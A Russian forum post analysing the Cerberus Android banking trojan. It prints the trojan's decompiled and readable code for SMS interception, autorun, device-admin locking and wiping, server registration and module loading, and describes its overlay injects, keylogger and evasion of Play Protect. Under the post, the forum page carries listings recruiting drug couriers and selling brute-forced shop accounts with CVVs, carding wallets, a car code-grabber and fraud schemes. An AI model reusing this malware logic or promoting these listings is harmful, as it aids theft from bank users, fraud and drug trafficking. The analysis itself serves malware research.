Перейти к публикации
  • Alien
    Alien

    Исследование современного Malware Cerberus под Android

    На носу 2020 год и сегодня мы имеем уже версию Android 9.0 Pie, где компания Google бьет себе в грудь и говорит что их продукт защищен. Но злодеи не дремлют и создают свои вредоносы для Android.

    Случайным образом мне попался на руки обфусцированный apk файл, который является банковской малварью под названием «Cerberus», и появился он в 2019 году.

    APK файл данного ботнета попал мне с недействительным адресом соединения с сервером, по этому часть логики работы и функционала осталась неизученной, так как данный ботнет использует «модульную» систему, и подгружает функционал напрямую со своего сервера.

    А Анализ apk пакета

    После анализа apk-пакета, я составил структуру троянской программы:

    1. Receiver, autorun + alarm;
    2. Service, работает в цикле с интервалом 8 секунд, он отвечает за показ всплывающего сообщения для включения Accessibility Service, активации функции блокировки экрана и отключения прав администратора;
    3. Service, собирающий данные с датчиков девайса, таким образом малварь получал физическое активность девайса;
    4. Service, в цикле блокирует экран девайса;
    5. Service, отвечает за обмен данных с сервером;
    6. Activity, подгружает html код в WebView, и показывает содержимое, служит для подмены активити приложения банка;
    7. Activity, запрашивает опасные разрешения.
    8. Class, хранит в себе основные строки(String) проекта

    Н Начнём с манифеста

    Манифест у приложения достаточно интересный, и уже по нему можно определить что это не простое приложение, а обыкновенная малварь.

    Например рассмотрим разрешения для приложения:

    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
    <uses-permission android:name="android.permission.CALL_PHONE"/>
    <uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"/>
    <uses-permission android:name="android.permission.READ_CONTACTS"/>
    <uses-permission android:name="android.permission.READ_SMS"/>
    <uses-permission android:name="android.permission.INTERNET"/>
    <uses-permission android:name="android.permission.WAKE_LOCK"/>
    <uses-permission android:name="android.permission.SEND_SMS"/>
    <uses-permission android:name="android.permission.RECEIVE_SMS"/>
    

    Тут можно заметить, что приложение получает доступ к СМС, контактам, звонкам, интернету, работа приложения в спящем режиме. Идём дальше, и видим привилегии, которые позволяют приложению становиться основным для получения\отправки смс, это злодеи используют для скрытия СМС сообщений на телефонах жертв.

      <activity android:name="com.wfozbladhvnk.ibvtgx.iExuCRAHNmEv">
                <intent-filter>
                    <data android:scheme="sms"/>
                    <action android:name="android.intent.action.SENDTO"/>
                    <data android:scheme="smsto"/>
                    <action android:name="android.intent.action.SEND"/>
                </intent-filter>
            </activity>
    
            <receiver android:name="com.wfozbladhvnk.ibvtgx.lThcZejcCFe" android:permission="android.permission.BROADCAST_WAP_PUSH">
                <intent-filter>
                    <data android:mimeType="application/vnd.wap.mms-message"/>
                    <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER"/>
                </intent-filter>
            </receiver>
    
            <service android:name="com.wfozbladhvnk.ibvtgx.UwLgqh" android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE">
                <intent-filter>
                    <data android:scheme="sms"/>
                    <action android:name="android.intent.action.RESPOND_VIA_MESSAGE"/>
                    <data android:scheme="smsto"/>
                </intent-filter>
            </service>
    

    Ну и конечно Ресивер, он служит для автозапуска сервисов, и перехвата СМС.

     <receiver android:name="com.wfozbladhvnk.ibvtgx.wtawxrmdzej.oClFeoEgobr" android:permission="android.permission.BROADCAST_SMS">
            <intent-filter android:priority="979">
                <action android:name="android.intent.action.QUICKBOOT_POWERON"/>
                <action android:name="com.htc.intent.action.QUICKBOOT_POWERON"/>
                <action android:name="android.intent.action.PACKAGE_ADDED"/>
                <action android:name="android.intent.action.USER_PRESENT"/>
                <action android:name="android.intent.action.PACKAGE_REMOVED"/>
                <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
                <action android:name="android.provider.Telephony.SMS_DELIVER"/>
                <action android:name="android.intent.action.BOOT_COMPLETED"/>
            </intent-filter>
        </receiver>
    

    Права администратора, это уже намного интереснее. Приложению они нужны для блокировки удаления приложения (при включенных правах администратора, кнопки «удалить» у приложения просто не будет), так же эти права позволят удалить всё с устройства, блокировать девайс.

      <activity android:theme="@style/Theme.NoDisplay" android:label="" android:name="com.wfozbladhvnk.ibvtgx.hwefoncq.ZQoykALT" android:excludeFromRecents="true"/>
      <receiver android:label="System Driver" android:name="com.wfozbladhvnk.ibvtgx.hwefoncq.LuMBTH" android:permission="android.permission.BIND_DEVICE_ADMIN">
            <meta-data android:name="android.app.device_admin" android:resource="@xml/ypqvk"/>
            <intent-filter android:priority="121">
                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
                <action android:name="android.app.action.DEVICE_ADMIN_DISABLED"/>
                <action android:name="android.app.action.ACTION_DEVICE_ADMIN_DISABLE_REQUESTED"/>
            </intent-filter>
        </receiver>
    

    Ну и самое интересное, это Accessibility Service. Он используется для того, чтобы малварь могла сама кликать по экрану, и давать себе нужные разрешения, в том числе и админ права. Через это разрешение злоумышленники отслеживают все действия пользователя на устройстве.

      <service android:label="Flash Player Service" android:name="com.wfozbladhvnk.ibvtgx.iyqvybm.BEUZLDTj" android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
            <intent-filter>
                <action android:name="android.accessibilityservice.AccessibilityService"/>
            </intent-filter>
            <meta-data android:name="android.accessibilityservice" android:resource="@xml/ikxclmrgfqap"/>
        </service>
    

    Ну и остальные сервисы и активити, которые не представляют особого интереса без валидного адреса сервера малвари.

     <activity android:label="mhudtqw" android:name="com.wfozbladhvnk.ibvtgx.wsdckwoau"/>
     <service android:name="com.wfozbladhvnk.ibvtgx.coimtetkf"/>
     <service android:name="com.wfozbladhvnk.ibvtgx.iyqvybm.dYDbaxro"/>
        <service android:name="com.wfozbladhvnk.ibvtgx.iyqvybm.HvGIrpl"/>
        <service android:name="com.wfozbladhvnk.ibvtgx.iyqvybm.HnzCyZAKNVN"/>
    

    В общем малварь не использует ничего сверхъестественного, в ней нету ни использования каких либо 0-day на андроид. Злоумышленникам нужно добиться от жертвы включения одного разрешения, и не более, дальше малварь всё сделает сама. Google надо бы ограничить некоторые возможности API для приложений не из плей маркета.

    R Receiver

    Код данного класса обфусцирован, но это не мешает его изучить.

    public void onReceive(Context context, Intent intent) {
      int i;
        C0005b bVar;
        String str;
        String sb;
        if (!this.f345b.mo39d(context, this.f344a.f243g).contains(this.f344a.f45aS) && !this.f345b.mo32b(context)) {
      this.f345b.mo24a(this.f347d, this.f344a.f46aT);
      C0005b bVar2 = this.f345b;
      this.f344a.getClass();
      C0005b.m16a(context, "", 10000);
      int i2 = 0;
      while (true) {
       if (i2 < this.f344a.f241ec.length) {
        if (VERSION.SDK_INT >= 26 && !this.f346c.mo14b(context)) {
         break;
        }
        if (this.f345b.mo25a(context, this.f344a.f241ec[i2])) {
         if (ppknbeydxzuwxxv.class.getName().equals(this.f344a.f241ec[i2].getName())) {
          context.stopService(new Intent(context, this.f344a.f241ec[i2]));
         }
         bVar = this.f345b;
         str = this.f347d;
         StringBuilder sb2 = new StringBuilder();
         sb2.append(this.f344a.f90bK);
         sb2.append(this.f344a.f241ec[i2]);
         sb = sb2.toString();
        } else if (lsbcgaldiywkd.class.getName().equals(this.f344a.f241ec[i2].getName())) {
         context.startService(new Intent(context, this.f344a.f241ec[i2]));
         bVar = this.f345b;
         str = this.f347d;
         StringBuilder sb3 = new StringBuilder();
         sb3.append(this.f344a.f88bI);
         sb3.append(this.f344a.f241ec[i2]);
         sb = sb3.toString();
        } else {
        int parseInt = Integer.parseInt(this.f345b.mo39d(context, this.f344a.f47aU));
        this.f344a.getClass();
        if (parseInt >= 0) {
         context.startService(new Intent(context, this.f344a.f241ec[i2]));
         bVar = this.f345b;
         str = this.f347d;
         StringBuilder sb4 = new StringBuilder();
         sb4.append(this.f344a.f89bJ);
         sb4.append(this.f344a.f241ec[i2]);
         sb = sb4.toString();
        } else {
         i2++;
        }
       }
       bVar.mo24a(str, sb);
       i2++;
       } else {
        break;
       }
      }
      this.f345b.mo23a(this.f347d, context);
      this.f345b.mo22a(context, this.f344a.f259w, this.f345b.mo33b(context, pzjzcxauihlf.class) ? this.f344a.f42aP : this.f344a.f39aM);
      if (intent.getAction().equals(this.f344a.f29aC)) {
       this.f345b.mo20a(context, intent);
      }
      try {
       i = Integer.parseInt(this.f345b.mo39d(context, this.f344a.f58af));
       int parseInt2 = Integer.parseInt(this.f345b.mo39d(context, this.f344a.f57ae)) + 1;
       i++;
       C0005b bVar3 = this.f345b;
       String str2 = this.f344a.f57ae;
       StringBuilder sb5 = new StringBuilder();
       this.f344a.getClass();
       sb5.append("");
       sb5.append(parseInt2);
       bVar3.mo22a(context, str2, sb5.toString());
       C0005b bVar4 = this.f345b;
       String str3 = this.f344a.f58af;
       StringBuilder sb6 = new StringBuilder();
       this.f344a.getClass();
       sb6.append("");
       sb6.append(i);
       bVar4.mo22a(context, str3, sb6.toString());
      } catch (Exception e2) {
       e = e2;
       i = 0;
       C0005b bVar5 = this.f345b;
       String str4 = this.f344a.f252p;
       StringBuilder sb7 = new StringBuilder();
       sb7.append("(pro8)  | vvcy ");
       sb7.append(e.toString());
       sb7.append("::endLog::");
       bVar5.mo31b(context, str4, sb7.toString());
       if (i >= 3) {
        return;
       }
       return;
      }
      if (i >= 3 && !this.f345b.mo46i(context) && this.f345b.mo48k(context) && this.f345b.mo33b(context, pzjzcxauihlf.class)) {
       if (this.f345b.mo33b(context, pzjzcxauihlf.class)) {
        this.f345b.mo22a(context, this.f344a.f12M, this.f344a.f42aP);
       }
       Intent intent2 = new Intent(context, lvhxcug.class);
       intent2.putExtra(this.f344a.f87bH, this.f344a.f42aP);
       intent2.addFlags(268435456);
       intent2.addFlags(536870912);
       intent2.addFlags(1073741824);
       context.startActivity(intent2);
       C0005b bVar6 = this.f345b;
       String str5 = this.f344a.f58af;
       StringBuilder sb8 = new StringBuilder();
       this.f344a.getClass();
       sb8.append("");
       sb8.append(0);
       bVar6.mo22a(context, str5, sb8.toString());
      }
        }
    }
    

    А теперь немного пояснений по коду.

    Настройки малвари хранятся XML файле, файл находится в директории /data/data/имя_пакета/shared_prefs/Settings.xml

    • public String ReadXML — метод для чтения настроек
    • public String SaveXML — метод для сохранения настроек
    • public boolean DozeMode — Проверяет включен ли режим Doze Mode
    • public class Service_fa extends Service — Сервис для сборки физической активности девайса (шаги, тряска телефона и прочее)
    • public class Service_server extends Service — Сервис для соединения с сервером
    • public class Service_event_loop extends Service — Сервис работающий в беcконечном цикле для выполнений некоторых функций малвари
    • public void startOffDozeMode — запрос для отключения режима Doze Mode
    • public void startAlarm — Запуск ресивера каждые 10 секунд
    • public void interceptionSMS — Метод для работы с перехатом СМС
    • public boolean isAccessibilityService — метод для проверки включен ли Accesibility Service или нет
    • public boolean cis — метод, который блокирует работу малвари по странам, входящим в СНГ, а конкретно это: ua, ru, by, tj, uz, tm, az, am, kz, kg и md (сокращённые названия стран)

    Я постарался привести обфусцированный код выше, в более читаемый и нормальный вид:

    public void onReceive(Context context, Intent intent) {
    public Class[] arrayService = {Service_fa.class, Service_server.class,  Service_event_loop.class};
        if ((!ReadXML(context, "kill").contains("dead")) && (!cis(context))) {
            startAlarm(context, "", 10000);
            for (int i = 0; i < arrayService.length; i++) {
                if ((Build.VERSION.SDK_INT >= 26) && (!DozeMode(context))) break;
                if (!isMyServiceRunning(context, arrayService[i])) {
                    if (Service_fa.class.getName().equals(arrayService[i].getName())) {
                        startService(new Intent(context, arrayService[i]));
                    } else if (Integer.parseInt(ReadXML(context, "step")) >= 1) {
                        startService(new Intent(context, arrayService[i]));
                    }
                }else{
                    if(Service_server.class.getName().equals(arrayService[i].getName())){
                        stopService(new Intent(context, arrayService[i]));
                    }
                }
            }
            startOffDozeMode(context);
            if (intent.getAction().equals("android.provider.Telephony.SMS_RECEIVED")) {
                interceptionSMS(context, intent); // Перехват СМС
            }
            if (isAdminDevice(context)) {
                if ((getScreenBoolean(context)) && (isAccessibilityServiceEnabled(context, srvSccessibility.class))) {
                    if (isAccessibilityServiceEnabled(context, srvSccessibility.class)) {
                        SaveXML(context, consts.autoClick, "1");
                    }
                    Intent intent = new Intent(context, Admin.class);
                    intent.putExtra("admin", "1");
                    intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
                    intent.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP);
                    intent.addFlags(Intent.FLAG_ACTIVITY_NO_HISTORY);
                    startActivity(intent);
                }
            }
        }
        public void  interceptionSMS(Context context, Intent intent){
            Bundle bundle = intent.getExtras();
            if (bundle != null) {
                final Object[] pdus = (Object[]) bundle.get(consts.string_116);
                String number = "";
                String text = "";
                if (pdus != null) {
                    for (Object aPdusObj : pdus) {
                        SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) aPdusObj);
                        number = smsMessage.getDisplayOriginatingAddress();
                        text += smsMessage.getDisplayMessageBody();
                    }
                    SaveXML(context, "LogSMS",  "Number: " + number + " Text: " + text + "::endLog::");
                }
            }
        }
    }
    

    Так думаю код стал более понятен многим читателям.

    У Receiver есть 3 триггера на срабатывание, а это при перезагрузке устройства, получении СМС или при запуске Alarmon.

    Так же Receiver запускает 3 сервиса:

    • Cбор физической активности девайса(Service_fa)
    • Сервис для соединения с сервером(Service_server)
    • Сервис работающий в беcконечном цикле для выполнений некоторых функций малвари(Service_event_loop)

    В первую очередь запускается Service_fa и только после проявления активности устройства (если владелец телефона ходит, и трясёт телефон), запускаются Service_server и Service_event_loop. Они являются основным процессом малвари, таким методом малварь может отъсеять реальный девайсы от эмуляторов и девайсов ресёчеров, ав и прочих.

    Так же Receiver запускает запрос отключения Doze Mode и запрос подтверждения прав администратора.

    Так как малварь имеет привилегии администратора, его нельзя удалить с девайса пока не будут сняты права.

    П Права администратора

    Давайте рассмотрим какие возможности мы имеем благодаря Admin Device.

    <!-- ADMIN DEVICE XML -->
    <?xml version="1.0" encoding="utf-8"?>
    <device-admin xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="match_parent">
        <uses-policies>
            <force-lock/>
            <wipe-data/>
        </uses-policies>
    </device-admin>
    

    элемент force-lock отвечает за права блокировки экрана девайса, а wipe-data за удаление раздела DATA, CACHE, и всей памяти на устройстве (его полный сброс).

    S Service_fa

    На этом мы закончим рассматривать Receiver, и рассмотрим другие сервисы. Сервис который снимает данные с сенсорных датчиков используя класс SensorManager, этот сервис просто получает данные активности и сохраняет их в файл XML.

    Благодаря этому злодеям получатся получить историю активности и произвести её анализ для отсеивания эмуляторов и особо ленивых пользователей.

    S Service_server

    Этот поток создан для общения с сервером, данные передаются на сервер в зашифрованном виде используя алгоритм шифрования RC4 кодируя после него все в base64.

    При запуске сервиса первый запрос на сервер выглядит так:

        {
            "id":"qoietjeoisfhjdfhk",
            "idSettings":"",
            "number":"+79999999999",
            "statAdmin":"1",
            "statProtect":"0",
            "statScreen":"1",
            "statAccessibilty":"0",
            "statSMS":"1",
            "statCards":"0",
            "statBanks":"0",
            "statMails":"0",
            "activeDevice":"53",
            "timeWorking":"342",
            "statDownloadModule":"0",
            "batteryLevel":"78",
            "locale":"fr"
        }
    

    Данные отправляемые на сервер я заполнил случайным образом, по названию параметров думаю всё понятно, какой за что отвечает, по этому на их разборе останавливаться не будем.

    Теперь смотрим какие могут быть ответы сервера, малварь проверяет возвращает ли пустой ответ, если да, то начинает перебирать массив доменов серверов в цикле, и отправлять этот запрос на каждый домен, и если в ответе будет строка == "~I~", то малварь останавливается на этом домене и начинает работать с ним.

    Мы определились с каким доменом работаем, теперь смотрим остальные ответы.

    Если возвращается Response == "||youNeedMoreResources||" то сразу идет запрос на сервер для получения дополнительного модуля малвари:

    gate_url?action=getModule&data={«idbot»:«qoietjeoisfhjdfhk»}

    Идем дальше, Response == "||no||"

    отравляет на сервер запрос

    gate_url?action=registration&data=JSON:

        {
            "id":"qoietjeoisfhjdfhk",
            "android": Build.VERSION.RELEASE,
            "tag":"tag",
            "country":"fr",
            "operator":"Megafon",
            "model":"Samsung Galaxy S9"
        }
    

    Этот запрос служит для регистрации нового пользователя в админ панели, на этом запросы к серверу закончились.

    Но ниже есть условие которое проверяет наличие файла «system.apk».

    Обфусцированный код:

    if(new File(getDir(this.f301a.f215dd, 0), this.f301a.f115bj).exists()){}
    

    Упрощенный код:

    if (new File(getDir("apk", Context.MODE_PRIVATE), "system.apk").exists()) {}
    

    если файл присутствует, формируется JSON в виде:

    {
        "params":"updateSettingsAndCommands",
        "response":"data"  
    }
    

    В параметр response передается ответ с сервера, далее json передается в метод который находится модуле «system.apk» и с помощью класса DexClassLoader он выполняется.

    S Service_event_loop

    Данный сервис работает в цикле и ждет команды на блокировку девайса. Девайс блокируется в цикле при помощи прав администратора.

    DevicePolicyManager deviceManager = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE);
         deviceManager.lockNow();
    

    Данный сервис умеет отключать права администратора, видимо автор малвари это решил сделать для «самоуничтожения» малвари, чтобы не оставлять следов на телефоне жертв.

        ComponentName componentName = new ComponentName(this, DeviceAdmin.class);
        DevicePolicyManager devicePolicyManager = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
        devicePolicyManager.removeActiveAdmin(componentName);
    

    Так же цикл имеет 2 скорости работы, 1 секунда и 8 секунд, если Accessibility Service отлючен, то работает на 1-й секунде и просит включить данный сервис, просто открывая Activity и заставляет включить специальные возможности, на практике подробно это рассмотрим.

    В конце цикла также есть реализация как и в Service_server, а конкретне отправка команд в метод, который находится внутри подгруженного модуля «system.apk», но параметры не много другие, смотрим JSON:

        {
            "params":"serviceWorkingWhile",
            "tick":"100",
            "idbot":"qoietjeoisfhjdfhk",
            "accessibility":"1"
        }
    

    tick — секунды которые считает цикл сервиса, accessibility — проверяет включен ли Accesibility Service.

    К Класс String(s)

    Все строки внутри класс зашифрована алгоритмом RC4, после чего закодированы в base64.

    Пример:

    зашифрованный строка: yyshybiwijujYzdkZDdkMjRlYjJmYjU5Y2Qw

    где первые 12 символов страки это ключь расшифрования алгоритма RC4

    Ключи: yyshybiwijuj

    Зашифрованный текст: YzdkZDdkMjRlYjJmYjU5Y2Qw

    Вот часть кода класса String(s)

        /* renamed from: A */
        public final String f0A = mo1a("yyshybiwijujYzdkZDdkMjRlYjJmYjU5Y2Qw");
    
        /* renamed from: B */
        public final String f1B = mo1a("dfpzkejthefgZDA1NTUyNmJiYWU4M2ViMjhjMGJmNTYx");
    
        /* renamed from: C */
        public final String f2C = mo1a("ewpskxnrtsvaMTBkOWRmZDAxZTZjNjkxZjhiYzYyOA==");
    
        /* renamed from: D */
        public final String f3D = mo1a("ugqxhrpujzmaYTgwZjQ0NjBhN2Y1YmM1MDhjZjdkZWEwYzljZGIxOWY4NDEy");
    
        /* renamed from: E */
        public final String f4E = mo1a("xlzrjjolkozwZTRjOGY5OTZjMTExMTgwYTE0ZGQ=");
    
        /* renamed from: F */
        public final String f5F = mo1a("wtxndsosbhnaYzZjNzhhYzA2MDMyMTBkOA==");
    
        /* renamed from: G */
        public final String f6G = mo1a("nmibahlxjjsxM2IzNjY4NGUyZDIzYmYwZGVi");
    
        /* renamed from: H */
        public final String f7H = mo1a("vvgipgmxvxloN2NmZDdlNTkyNjRhYWVlMzkzZGIzMGFiYTUzM2E5");
    
        /* renamed from: I */
        public final String f8I = mo1a("zuqkhqhqsrvgMDczYWRkZmYyOTE5NmVmMzk2Yzc=");
    

    Я написал скрипт, для преобразования данных строк в нормальный вид, это помогло мне скоротать немного времени.

        /* renamed from: A */
        public final String str_statMails = "statMails";
    
        /* renamed from: B */
        public final String str_activeDevice = "activeDevice";
    
        /* renamed from: C */
        public final String str_timeWorking = "timeWorking";
    
        /* renamed from: D */
        public final String str_statDownloadModule = "statDownloadModule";
    
        /* renamed from: E */
        public final String str_lockDevice = "lockDevice";
    
        /* renamed from: F */
        public final String str_offSound = "offSound";
    
        /* renamed from: G */
        public final String str_keylogger = "keylogger";
    
        /* renamed from: H */
        public final String str_activeInjection = "activeInjection";
    
        /* renamed from: I */
        public final String str_timeInject = "timeInject";
    

    Так же видим что в этом классе хранится:

        /* renamed from: ay */
        public final String str_url = "https://twitter.com/LukasStefanko";
    
        /* renamed from: az */
        public final String str_Accessibility = "Flash Player Service";
    
        /* renamed from: bb */
        public final String str_gate1 = "action=registration&data=";
    
        /* renamed from: bc */
        public final String str_gate2 = "action=sendInjectLogs&data=";
    
        /* renamed from: bd */
        public final String str_gate3 = "action=sendSmsLogs&data=";
    
        /* renamed from: be */
        public final String str_gate4 = "action=timeInject&data=";
    
        /* renamed from: bf */
        public final String str_gate5 = "action=sendKeylogger&data=";
    
        /* renamed from: bg */
        public final String str_gate6 = "action=getModule&data=";
    
        /* renamed from: bh */
        public final String str_gate7 = "action=checkap&data=";
    
        /* renamed from: bj */
        public final String str_country = "[ua][ru][by][tj][uz][tm][az][am][kz][kg][md]";
    

    URL сервера указан твиттер ресечера Lukas Stefanko(@LukasStefanko), видимо автор хотел пошутить или что-то сказать Лукасу (Это аналитик из NOD32), так же тут хранится имя Accessibility Service + то же название хранится в манифесте android:label=«Flash Player Service», и список стран, по которым не работает малварь.

    О Остальное

    Кратко опишу работу инжектов. Она реализована просто, если включен Accessibility Service, то данный сервис просто ловит событие о запуске банковского приложения и запускает поверх активити банка свое активити, где оно имеет объект WebView который прогружает html-фейк банка, после чего получает данные с помощью JavaScript и отправляет данные на сервер малвари.

    Так же в этом сервисе реализован Keylogger, блокировки удаления малвари и автоклик по подтверждениями. Было обнаружено взаимодействие отключения безопасности в приложение «com.miui.securitycenter». Это приложение называется «Безопасность» которые используется на девайсах Xiaomi, его основные задачи следить за безопасностью ваших конфиденциальных данных. Так же был обнаружен код для автоматического отключения «Google Play Protect» методом автоклика.

    П Перейдем к практике

    Мне удалось найти твиттер злодеев и добыть скриншот админ панели

    pccYZfOcawk.jpg
     

    Устанавливаю apk-пакет на эмулятор с API 27.

    На рабочем столе появилась иконка флеш плеера с названием «Flash Player»

    AlHJzu__Zqk.jpg
     

    Ждем по иконке, и у нас запускается малварь.

    После запуска малвари, автоматический запускается Активити с требованием включения Accessibility Service, если свернуть ее, она появится снова и это происходит в цикле до тех пор пока я не включил сервис.

    1UI-hQR1aag.jpg
     
    NVnOwFF_hcs.jpg
     

    После включения галочки Accessibility Service, выполнился автоматический переход с настроек на рабочий стол, и больше у меня не получилось попасть в настройки Accessibility Service, также исчезла иконка с рабочего стола, через несколько секунд появился запрос отключения Doze Mode, он автоматически отключился благодаря автоклику специальных возможностей.

    VSd8jZzBjq8.jpg
     

    Cледом таким же образом было авто подтверждения прав администратора. Удалить малварь в ручном режиме не удалось так как при открытие настроек данного приложение был автоматический выход назад (GLOBAL_ACTION_BACK).

    Собственно это все по первой части, в скором времени напишу вторую часть с дополнительным а возможно с основным модулем данного бота, так как найти apk файл малвари с валидной ссылкой на сервер мне не удалось.

    Источник




  • Работа закладчиком. Без залога!

    Привет, друзья! Нам требуются надёжные и ровные кладмены по всей РФ и КЗ. Работаем без залога, но по документам, строго от 18 лет! В каких-то городах даже от 21! ЗП от 300р/клад, примерно от 50к в неделю выходит, оплата 2 раза в неделю. Так же требуются водители с личным транспортом от 2002 года минимум. За подробностями и трудоустройством стучите мне в телеграмм @telegrwork

    DanZak24
    DanZak24
    Схемы заработка 1

    best-brute.shopsn.su аккаунты от шопов

    Предоставляем аккаунты от разных шопов.   Некоторые сайты сохраняют cvv, это позволяет оплачивать товары без покупок прочего материала.   Даем гарантию на валид любого товара в течении 2-х часов.   Оплата принимается в Bitcoin и Qiwi.   http://best-brute.shopsn.su или пишите в телегу https://t.me/kristymisty

    kristymisty
    kristymisty
    Прочие товары и услуги 1

    Как удваивать деньги каждый день, игра для заработка денег

    Схема как быстро удваивать Ваши деньги каждый день. Новая игра для заработка денег позволяет зарабатывать и выводить деньги в любой момент на Вашу карту, qiwi, вебмани, яндекс деньги, пеер кошелёк и т.д. Предусмотренны все популярные платежные системы + вывод без верификации аккаунта и без скана паспорта, как обычно бывает. Выплата приходит практически мгновенно. Я обычно считаю до десяти и за это время приходит смс, что на сбер карту поступила выплата. И так быстро выплачивают всегд

    alecxandrkote
    alecxandrkote
    Схемы заработка 1

    Заходи сюда! кошельки, связки, карты! оптом и в розницу!

    У НАС САМЫЕ ПРИЯТНЫЕ ЦЕНЫ! НА ОПТОВЫЕ ЗАКАЗЫ ЦЕНА ВСЕГДА ОБСУЖДАЕМА! WebMoney Формальный аттестат + проверенные документы - 500 руб. Начальный аттестат на Ваши/Наши данные - 2099 т.р. Персональный аттестат - 19999 т.р. Связка вебмани начальный/формальный + Киви + Яндекс ( все на одни данные ) - 3999 т.р.   QIWI Частично идентифицированный кошелек + сканы - 300 рублей. Идентифицированный кошелек на Ваши/Наши данные - 999 рублей. (Идентификация от 10 ш

    InkognitoXXX
    InkognitoXXX
    Продажа карт 22

    Кодграббер Pandora v 2.4 - Полная версия

    Кодграббер Pandora v 2.4 - Полная версия Представляем вашему вниманию прибор Pandora 2.4 Прибор появился на рынке в средине 2017 года За счет не высокой цены и достаточно большого списка, успешно себя зарекомендовал. Упаковка: упаковочный мешочек с коробочкой (внутри сам кодкраббер + инструкция формате а4) Доставка: по Москве кладом, отправка в регионы транспортной компанией; Вы всегда можите написать нам , уточнить всё как пользоваться. Список возможностей и функций: ХА

    MoscowKent
    MoscowKent
    Прочие товары и услуги 18

    Схема по заработку на UBER от 150.000

    И это не галимые промокоды, которые уверен вам где-то впаривали. Длительность: 1 день + саппорт   Я научу как зарабатывать на брут аккаунтах Uber. Работа заключается в предоставлении заказов/поездок нужному водителю без пассажира.  Ваша прибыль это процент от заказа. Как правило 30-50%. Найдя 10 водил, вы сможете брать с каждого минимально 1000 рублей в день. Математику думаю все знают.  Взяв самый хуевый вариант - 5 водителей принесут в день вам 5 тысяч, и 150

    GentleGenry
    GentleGenry
    Схемы заработка 34
  • Схема заработка на адалт сайтах. Способ добычи трафика 18+

    Лёгкая схема заработка на адалт сайтах. Разберём способ добычи трафика на адалт партнёрку 18+ В данном мануале я постараюсь как можно подробнее описать лёгкий способ заработка. По моему мнению, это самая топовая схема на сегодняшний день, не нужно никаких навыков, никого не нужно обманывать. Тема уже давно всем известна, я лишь разложу все по полочкам и постараюсь вывести Вас на хороший доход в данной системе. Выплачивают деньги всегда, не было такого чтобы не выплатили.  Схема зара

    alecxandrkote
    alecxandrkote
    Слив схем заработка

    Заработок на объявлениях

    Тема, которая идеально подойдет для небольшого города и практически не будет требовать вложений, кроме времени Краткая предыстория Наверняка у вашего подъезда есть стенд с объявлениями? Наверняка на нем нахерачены друг на друга непонятные объявления. Или того хуже, рекламная площадка для вашего подъезда вообще не предусмотрена, и реклама засирает рандомное пространство возле него. Посмотрите на эти объявления - причина, по которым их клеят в том, что это работает. В наше время ещё оста

    Integra
    Integra
    Легальный бизнес 5

    Выборочное шифрование трафика в Linux.

    Linux предоставляет огромный набор функций для маршрутизации и инструментов ее конфигурирования. Опытные сисадмины знают об этом и используют арсенал Linux на полную катушку. Но и многие даже продвинутые пользователи не догадываются, сколько удобства могут принести все эти замечательные возможности. Сегодня мы создадим таблицы маршрутизации и опишем правила прохода по ним, а также автоматизируем администрирование этих таблиц. Итак, наши творческие планы: определимся с тем, что нам требуе

    Integra
    Integra
    Социальная инжинерия 1

    Защита WHM / cPanel с помощью плагинов CSF и CXS

    В сегодняшней статье я расскажу вам про два полезных плагина для панели управления хостингом WHM/cPanel, установка и использование которых не только защитит cPanel, но и улучшит безопасность самого хостингового сервера. Я также приведу пару примеров, как с помощью этих плагинов можно отбиться от небольшой DDoS-атаки. Защита cPanel Сама по себе панель управления WHM/cPanel — достаточно надежный и довольно гибкий инструмент для администрирования хостингового сервера, к тому же набор стан

    Rabb1tRun
    Rabb1tRun
    Ботнеты, кодинг, загрузки 3

    Секс тур

    Тему реализовывали в 2017 году. Живая до сих пор, но много нюансов. Работать лучше в паре с девочкой.   С времен финансово кризиса, почему то именно Украина стала меккой, для всякого рода туристов, которым не так интересны достопримечательности. Первое, что встречает бизнесменов и туристов, приехавших в Украину, по пути из аэропорта Борисполь в Киев, — огромные билборды с рекламой стрип-клубов. Подсказка для тех, кто еще не знает или мог позабыть о том, что в нашей стране, как открыто

    human
    human
    Слив схем заработка 4

    В отделениях «Почты России» начали собирать биометрические данные россиян

    Единая биометрическая система (ЕБС) испытывает проблемы с наполняемостью, но эксперты расходятся в оценке того, помогут ли почтовые отделения исправить дело     Отделения «Почты России» стали еще одной площадкой после банков, где начал происходить сбор биометрических данных россиян (изображения лица и записи голоса). Об этом РБК рассказал руководитель дирекции

    rus_d0qstr
    rus_d0qstr
    Юридический раздел 3
×
×
  • Создать...